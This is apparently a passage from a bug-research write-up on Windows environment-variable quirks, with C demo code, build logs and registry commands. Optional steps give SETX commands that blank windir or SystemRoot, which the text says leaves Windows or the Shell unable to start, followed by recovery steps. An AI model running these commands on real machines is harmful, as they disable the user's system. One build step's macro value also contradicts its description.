=::=::\ =C:=C:\Users\Stefan\Desktop =ExitCode=00000000 ALLUSERSPROFILE= APPDATA= CL=/GAFy /Oisy /W4 /Zl CommonAppData= CommonProgramFiles= CommonProgramFiles(x86)= CommonProgramW6432= COMPUTERNAME=AMNESIAC ComSpec= DriverData= FP_NO_HOST_CHECK=NO HOMEDRIVE= HOMEPATH= LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE LOCALAPPDATA= LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path= PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=x86 PROCESSOR_ARCHITEW6432=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData= ProgramFiles= ProgramFiles(x86)= ProgramW6432= PROMPT=$P$G PSModulePath= PUBLIC= SESSIONNAME=Console SystemDrive= SystemRoot= TEMP= TMP= USERDOMAIN=AMNESIAC USERDOMAIN_ROAMINGPROFILE=AMNESIAC USERNAME=Stefan USERPROFILE= windir=Note: (all 24) empty environment variables are present in the process environment block.
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1. a
second time, now with the preprocessor macro QUIRKS
defined as 0:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=0 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(180) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Export the registry entries from the registry key
HKEY_CURRENT_USER\Volatile Environment
to the file
quirk1.reg
:
REG.EXE EXPORT "HKEY_CURRENT_USER\Volatile Environment" quirk1.reg
The operation completed successfully.
Execute the console application quirk1.exe
built in
step 4. to show the first bug:
.\quirk1.exe
ALLUSERSPROFILE=AMNESIAC APPDATA=Stefan CommonAppData=AMNESIAC CommonProgramFiles=AMNESIAC CommonProgramFiles(x86)=AMNESIAC CommonProgramW6432=AMNESIAC COMPUTERNAME=AMNESIAC ComSpec=AMNESIAC DriverData=AMNESIAC FP_NO_HOST_CHECK=NO HOMEDRIVE=Stefan HOMEPATH=Stefan LOCALAPPDATA=Stefan LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;AMNESIAC PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a ProgramData=AMNESIAC ProgramFiles=AMNESIAC ProgramFiles(x86)=AMNESIAC ProgramW6432=AMNESIAC PSModulePath=AMNESIAC PUBLIC=AMNESIAC SESSIONNAME=Console SystemDrive=AMNESIAC SystemRoot=AMNESIAC TEMP=AMNESIAC TMP=AMNESIAC USERDOMAIN_ROAMINGPROFILE=AMNESIAC USERPROFILE=Stefan windir=AMNESIACOUCH¹: volatile user environment variables stored without value in the Registry are written to the environment block with the value of arbitrary other now missing environment variables, here
COMPUTERNAME
and USERPROFILE
, and they
obscure programmatic system environment variables!
(Optional) If you are curious, execute the following command line to
signal the (graphical) Shell
Explorer.exe
that environment
variables have changed and watch what happens when you start some
applications:
SETX.EXE QUIRKS ""
SUCCESS: Specified value was saved.Note: when you've seen enough havoc and malfunctions, just log off and log on again, then continue with step 9. – volatile registry keys and their entries don’t survive logoff and shutdown!
Restore the (volatile) registry entries from the file
quirk1.reg
created in step 5.:
REG.EXE DELETE "HKEY_CURRENT_USER\Volatile Environment" /VA /F REG.EXE IMPORT quirk1.reg
The operation completed successfully. The operation completed successfully.
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1. a
third time, now with the preprocessor macro QUIRKS
defined as 1:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=1 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(176) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Execute the console application quirk1.exe
built in
step 9. to show the second bug:
.\quirk1.exe
COMPUTERNAME=AMNESIAC FP_NO_HOST_CHECK=NO LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a SESSIONNAME=Console USERDOMAIN_ROAMINGPROFILE=AMNESIACOUCH²: volatile user environment variables stored with empty value in the Registry are not written to the environment block, and they inhibit the addition of programmatic system environment variables with the same name to the environment block!
Oops¹: the previously present environment
variables USERDOMAIN
and USERNAME
are
missing too!
(Optional) If you are curious, execute the following command line to
signal the (graphical) Shell
Explorer.exe
that environment
variables have changed and watch what happens when you start some
applications:
SETX.EXE QUIRKS ""
SUCCESS: Specified value was saved.Note: when you've seen enough havoc and malfunctions, just log off and log on again, then continue with step 13. – volatile registry keys and their entries don’t survive logoff and shutdown!
Restore the (volatile) registry entries from the file
quirk1.reg
created in step 5.:
REG.EXE DELETE "HKEY_CURRENT_USER\Volatile Environment" /VA /F REG.EXE IMPORT quirk1.reg
The operation completed successfully. The operation completed successfully.
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1. a
fourth time, now with the preprocessor macro QUIRKS
defined as 2:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=2 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(176) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Export the registry entries from the registry key
HKEY_CURRENT_USER\Environment
to the file
quirk1.reg
:
REG.EXE EXPORT "HKEY_CURRENT_USER\Environment" quirk1.reg /F
The operation completed successfully.
Execute the console application quirk1.exe
built in
step 13. to show the second bug again:
.\quirk1.exe
COMPUTERNAME=AMNESIAC FP_NO_HOST_CHECK=NO LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a SESSIONNAME=Console USERDOMAIN_ROAMINGPROFILE=AMNESIACOUCH³: persistent user environment variables stored with empty value in the Registry are not written to the environment block, and they inhibit the addition of programmatic system environment variables with the same name to the environment block!
Oops²: the previously present environment
variables USERDOMAIN
and USERNAME
are
missing too, again!
(Optional) If you are curious, execute the following command line to
signal the (graphical) Shell
Explorer.exe
that environment
variables have changed and watch what happens when you start some
applications, then log off and log on again:
SETX.EXE windir ""
SUCCESS: Specified value was saved.Note: since the Shell won’t start any more, your administrator needs to load your registry hive, then restore the values of the registry entries
PATH
,
TEMP
and TMP
to their default values,
remove the 21 remaining empty registry entries and finally unload
the registry hive before you can continue with step 18.:
REG.EXE LOAD HKU\Quirks "%SystemDrive%\Users\‹account›\NTUSER.DAT" REG.EXE ADD HKU\Quirks\Environment /V PATH /T REG_EXPAND_SZ /D %USERPROFILE^%\AppData\Local\Microsoft\WindowsApps /F REG.EXE ADD HKU\Quirks\Environment /V TEMP /T REG_EXPAND_SZ /D %USERPROFILE^%\AppData\Local\Temp /F REG.EXE ADD HKU\Quirks\Environment /V TMP /T REG_EXPAND_SZ /D %USERPROFILE^%\AppData\Local\Temp /F REG.EXE DELETE HKU\Quirks\Environment /V ALLUSERSPROFILE /F REG.EXE DELETE HKU\Quirks\Environment /V APPDATA /F REG.EXE DELETE HKU\Quirks\Environment /V CommonAppData /F REG.EXE DELETE HKU\Quirks\Environment /V CommonProgramFiles /F REG.EXE DELETE HKU\Quirks\Environment /V CommonProgramFiles(x86) /F REG.EXE DELETE HKU\Quirks\Environment /V CommonProgramW6432 /F REG.EXE DELETE HKU\Quirks\Environment /V COMSPEC /F REG.EXE DELETE HKU\Quirks\Environment /V DriverData /F REG.EXE DELETE HKU\Quirks\Environment /V HOMEDRIVE /F REG.EXE DELETE HKU\Quirks\Environment /V HOMEPATH /F REG.EXE DELETE HKU\Quirks\Environment /V LOCALAPPDATA /F REG.EXE DELETE HKU\Quirks\Environment /V ProgramData /F REG.EXE DELETE HKU\Quirks\Environment /V ProgramFiles /F REG.EXE DELETE HKU\Quirks\Environment /V ProgramFiles(x86) /F REG.EXE DELETE HKU\Quirks\Environment /V ProgramW6432 /F REG.EXE DELETE HKU\Quirks\Environment /V PSModulePath /F REG.EXE DELETE HKU\Quirks\Environment /V PUBLIC /F REG.EXE DELETE HKU\Quirks\Environment /V SystemDrive /F REG.EXE DELETE HKU\Quirks\Environment /V SystemRoot /F REG.EXE DELETE HKU\Quirks\Environment /V USERPROFILE /F REG.EXE DELETE HKU\Quirks\Environment /V windir /F REG.EXE UNLOAD HKU\Quirks
The operation completed successfully. […] The operation completed successfully.Note: if your registry hive is still loaded under
HKEY_USERS\S-1-5-21-‹number›-‹number›-‹number›-‹number›
,
you or your administrator can repair the registry entries there.
Restore the (persistent) registry entries from the file
quirk1.reg
created in step 14.:
REG.EXE DELETE "HKEY_CURRENT_USER\Environment" /VA /F REG.EXE IMPORT quirk1.reg
The operation completed successfully. The operation completed successfully.
(Optional) If you are curious, execute the following command line to
set a registry entry with empty value for the user environment
variable SystemRoot
and signal the (graphical)
Shell that environment variables
have changed, then watch what happens when you start some
applications – log off and log on again after you have seen
enough havoc:
SETX.EXE SystemRoot ""
SUCCESS: Specified value was saved.Note: since the Shell won’t start any more, your administrator needs to load your registry hive, then remove the offending empty registry entry
SystemRoot
and finally
unload the registry hive before you can continue with step 18.:
REG.EXE LOAD HKU\Quirks "%SystemDrive%\Users\‹account›\NTUSER.DAT" REG.EXE DELETE HKU\Quirks\Environment /V SystemRoot /F REG.EXE UNLOAD HKU\Quirks
The operation completed successfully. The operation completed successfully. The operation completed successfully.Note: if your registry hive is still loaded under
HKEY_USERS\S-1-5-21-‹number›-‹number›-‹number›-‹number›
,
you or your administrator can repair the registry entries there.
Build the console application quirk1.exe
from the
source file quirk1.c
created in step 1. a
fifth time, now with the preprocessor macro QUIRKS
defined as 3:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DQUIRKS=2 quirk1.c advapi32.lib kernel32.lib user32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk1.c quirk1.c(176) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk1.exe quirk1.obj advapi32.lib kernel32.lib user32.lib userenv.lib
Export the registry entries from the registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
to the file quirk1.reg
:
REG.EXE EXPORT "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" quirk1.reg /Y
The operation completed successfully.
Execute the console application quirk1.exe
built in
step 18. as administrator to show the second
bug a last time:
.\quirk1.exe
COMPUTERNAME=AMNESIAC FP_NO_HOST_CHECK=NO LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\; PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=170a SESSIONNAME=Console USERDOMAIN_ROAMINGPROFILE=AMNESIACOUCH⁴:
persistent
system
environment variables stored with empty value in the
Registry
are not written to the environment block, and they
inhibit the addition of programmatic system environment variables
with the same name to the environment block!
Oops³: the previously present environment
variables USERDOMAIN
and USERNAME
are
missing too!
(Optional) If you are curious, execute the following command line to
signal the Shell
Explorer.exe
that environment
variables have changed and see what happens when you start some
applications, then reboot:
SETX.EXE windir "" /M
SUCCESS: Specified value was saved.
Note: since Windows won’t start
any more, you need to boot
Windows RE, load
the registry hive C:\Windows\System32\Config\SYSTEM
,
restore the values of the overwritten registry entries, remove the
remaining empty registry entries and finally unload the registry
hive before you can boot Windows again:
REG.EXE LOAD "HKU\SYSTEM" "‹drive›:\Windows\System32\Config\SYSTEM"
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ComSpec /T REG_EXPAND_SZ /D %SystemRoot^%\System32\cmd.exe /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V DriverData /T REG_EXPAND_SZ /D %SystemRoot^%\System32\Drivers\DriverData /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V Path /T REG_EXPAND_SZ /D %SystemRoot^%\System32;%SystemRoot^%;%SystemRoot^%\System32\Wbem;%SystemRoot^%\System32\WindowsPowerShell\v1.0
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V PSModulePath /T REG_EXPAND_SZ /D %SystemRoot^%\System32\WindowsPowerShell\v1.0\Modules\ /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V TEMP /T REG_EXPAND_SZ /D %SystemRoot^%\Temp /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V TMP /T REG_EXPAND_SZ /D %SystemRoot^%\Temp /F
REG.EXE ADD "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V windir /T REG_EXPAND_SZ /D %SystemRoot^% /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ALLUSERSPROFILE /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V APPDATA /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V CommonAppData /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V CommonProgramFiles /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V CommonProgramFiles(x86) /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V CommonProgramW6432 /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V HOMEDRIVE /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V HOMEPATH /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V LOCALAPPDATA /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ProgramData /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ProgramFiles /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ProgramFiles(x86) /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V ProgramW6432 /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V PUBLIC /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemDrive /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemRoot /F
REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V USERPROFILE /F
REG.EXE UNLOAD "HKU\SYSTEM"
The operation completed successfully. […] The operation completed successfully.
Restore the registry entries from the file quirk1.reg
created in step 19.:
REG.EXE DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /VA /F REG.EXE IMPORT quirk1.reg
The operation completed successfully. The operation completed successfully.
(Optional) If you are curious, execute the following command line to
set a registry entry with empty value for the system environment
variable SystemRoot
and signal the (graphical)
Shell
Explorer.exe
that environment
variables have changed, then watch what happens when you start some
applications – log off and log on again or reboot after you
have seen enough havoc:
SETX.EXE SystemRoot "" /M
SUCCESS: Specified value was saved.
Note: since Windows won’t start
any more, you need to boot
Windows RE, load
the registry hive C:\Windows\System32\Config\SYSTEM
,
remove the offending empty registry entry SystemRoot
and finally unload the registry hive before you can boot
Windows again:
REG.EXE LOAD "HKU\SYSTEM" "‹drive›:\Windows\System32\Config\SYSTEM" REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemRoot /F REG.EXE UNLOAD "HKU\SYSTEM"
The operation completed successfully. The operation completed successfully. The operation completed successfully.
Each process has an environment block associated with it. The environment block consists of a null-terminated block of null-terminated strings (meaning there are two null bytes at the end of the block), where each string is in the form:The Win32 functionsname=value
All strings in the environment block must be sorted alphabetically by name. The sort is case-insensitive, Unicode order, without regard to locale. Because the equal sign is a separator, it must not be used in the name of an environment variable.
SetEnvironmentStrings()
,
SetEnvironmentVariable()
and
GetEnvironmentVariable()
are documented in the
MSDN as
follows:
Sets the environment strings of the calling process (both the system and the user environment variables) for the current process.Note: this function was introduced with Windows Server 2003, but remained undocumented for almost 18 (in words: eighteen) years.[…]BOOL SetEnvironmentStrings( LPWCH NewEnvironment );
The environment variable string using the following format:
Var1 Value1 Var2 Value2 Var3 Value3 VarN ValueN
Sets the contents of the specified environment variable for the current process.[…]BOOL SetEnvironmentVariable( LPCTSTR lpName, LPTSTR lpValue );
lpName
The name of the environment variable. The operating system creates the environment variable if it does not exist and lpValue is not NULL.
lpValue
The contents of the environment variable. […]
If this parameter is NULL, the variable is deleted from the current process's environment.
[…]
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
Retrieves the contents of the specified variable from the environment block of the calling process.Note: designed and implemented properly, this function would return the value of[…]DWORD GetEnvironmentVariable( LPCTSTR lpName, LPTSTR lpBuffer, DWORD nSize );
nSize
The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters. […]
If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns
ERROR_ENVVAR_NOT_FOUND
.
nSize
instead of 0
for failure, supporting successful retrieval of empty environment
variables!
In addition to the quirk bug demonstrated
below, the documentation fails to tell that lpBuffer
can be 0 alias NULL
if nSize
is 0 too.
It also exhibits a very common mistake that is
present in many other
MSDN articles
too: there is no null-terminating character
, but a
(string-)terminating
alias
NUL
(string-)terminating null character
!
Create the text file quirk2.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szName[] = {L"FIRMWARE_TYPE", L"NUMBER_OF_PROCESSORS",
L"__APPDIR__", L"__CD__",
L"=ExitCode", L""};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szValue[123];
DWORD dwValue;
DWORD dwName = 0;
DWORD dwError = ERROR_SUCCESS;
DWORD dwString;
LPWSTR lpString;
LPWSTR lpBlock;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwValue = GetEnvironmentVariable((LPCWSTR) NULL,
(LPCWSTR) NULL,
0);
if (dwValue == 0)
PrintConsole(hConsole,
L"GetEnvironmentVariable(NULL, NULL, 0) returned error %lu\n",
dwError = GetLastError());
if (!SetEnvironmentStrings(L"__CD__=..\\*\0__APPDIR__=.\\?\0QUIRK=quirk\0NUMBER_OF_PROCESSORS=\0FIRMWARE_TYPE=€\0"))
PrintConsole(hConsole,
L"SetEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
{
SetLastError(123456789);
do
{
if (!SetEnvironmentVariable(szName[dwName], dwName % 2 == 0 ? L"" : NULL))
PrintConsole(hConsole,
L"SetEnvironmentVariable(\"%ls\", %ls) returned error %lu\n",
szName[dwName], dwName % 2 == 0 ? L"\"\"" : L"NULL", dwError = GetLastError());
else
PrintConsole(hConsole,
L"SetEnvironmentVariable(\"%ls\", %ls) succeeded\n",
szName[dwName], dwName % 2 == 0 ? L"\"\"" : L"NULL");
dwValue = GetEnvironmentVariable(szName[dwName],
szValue,
sizeof(szValue) / sizeof(*szValue));
if (dwValue == 0)
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned error %lu\n",
szName[dwName], szValue, sizeof(szValue) / sizeof(*szValue), dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned value \'%ls\' of %lu characters\n",
szName[dwName], szValue, sizeof(szValue) / sizeof(*szValue), szValue, dwValue);
}
while (++dwName < sizeof(szName) / sizeof(*szName));
lpBlock = GetEnvironmentStrings();
if (lpBlock == NULL)
PrintConsole(hConsole,
L"GetEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
{
for (lpString = lpBlock;
lpString[0] != L'\0';
lpString[dwString = wcslen(lpString)] = L'\n', lpString += dwString + 1)
continue;
if (!WriteConsole(hConsole, lpBlock, lpString - lpBlock, &dwString, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (dwString != lpString - lpBlock)
dwError = ERROR_WRITE_FAULT;
if (!FreeEnvironmentStrings(lpBlock))
PrintConsole(hConsole,
L"FreeEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk2.exe
from the
source file quirk2.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk2.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk2.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk2.c quirk2.c(52) : warning C4090: 'function' : different 'const' qualifiers quirk2.c(110) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk2.exe quirk2.obj kernel32.lib user32.lib
Execute the console application quirk2.exe
built in
step 2. to demonstrate the (mis)behaviour:
VER .\quirk2.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] GetEnvironmentVariable(NULL, NULL, 0) returned error 203 SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded GetEnvironmentVariable("FIRMWARE_TYPE", 0x0051F9A8, 123) returned error 123456789 SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x0051F9A8, 123) returned value '2' of 1 characters SetEnvironmentVariable("__APPDIR__", "") succeeded GetEnvironmentVariable("__APPDIR__", 0x0051F9A8, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("__CD__", NULL) succeeded GetEnvironmentVariable("__CD__", 0x0051F9A8, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("=ExitCode", "") succeeded GetEnvironmentVariable("=ExitCode", 0x0051F9A8, 123) returned error 123456789 SetEnvironmentVariable("", NULL) returned error 87 GetEnvironmentVariable("", 0x0051F9A8, 123) returned error 203 =ExitCode= __APPDIR__= QUIRK=quirk FIRMWARE_TYPE= 0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203) Error message text: The system could not find the environment option that was entered. CertUtil: -error command completed successfully.Note: the undocumented (dynamic) environment variable
FIRMWARE_TYPE
was introduced with
Windows 8 and Windows Server 2012.
Microsoft Windows [Version 10.0.26100.1712] GetEnvironmentVariable(NULL, NULL, 0) returned error 203 SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded GetEnvironmentVariable("FIRMWARE_TYPE", 0x00AFFA8C, 123) returned value 'UEFI' of 4 characters SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x00AFFA8C, 123) returned value '4' of 1 characters SetEnvironmentVariable("__APPDIR__", "") succeeded GetEnvironmentVariable("__APPDIR__", 0x00AFFA8C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("__CD__", NULL) succeeded GetEnvironmentVariable("__CD__", 0x00AFFA8C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("=ExitCode", "") succeeded GetEnvironmentVariable("=ExitCode", 0x00AFFA8C, 123) returned error 123456789 SetEnvironmentVariable("", NULL) returned error 87 GetEnvironmentVariable("", 0x00AFFA8C, 123) returned error 203 =ExitCode= __APPDIR__= QUIRK=quirk FIRMWARE_TYPE= 0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203) Error message text: The system could not find the environment option that was entered. CertUtil: -error command completed successfully.OOPS¹: the undocumented (dynamic) environment variables
__APPDIR__
, __CD__
,
FIRMWARE_TYPE
and NUMBER_OF_PROCESSORS
are
written into the process environment block, but not
read from it – their values are the path names of the
application directoryand the CWD, both with a trailing backslash,
Legacy
or
UEFI
depending on how the computer was booted, and the number of
processor cores.
OUCH¹: for environment variables with empty
value, the Win32 function
GetEnvironmentVariable()
returns 0, but fails to (re)set the Win32 error code 0
alias
ERROR_SUCCESS
to indicate no error!
OUCH²: contrary to the first documentation
cited above, the Win32 functions
GetEnvironmentVariable()
and
SetEnvironmentVariable()
support an environment variable name containing an equal sign!
OOPS²: while the Win32 function
SetEnvironmentVariable()
returns the Win32 error code 87 alias
ERROR_INVALID_PARAMETER
for an empty variable name, the Win32 function
GetEnvironmentVariable()
returns the Win32 error code 203 alias
ERROR_ENVVAR_NOT_FOUND
instead.
OUCH³: contrary to the second documentation
cited above, the format of the environment variable string for the
Win32 function
SetEnvironmentStrings()
is but
‹name›=‹value›\0…\0\0
!
OOPS³: contrary to the first documentation
cited above, the Win32 functions
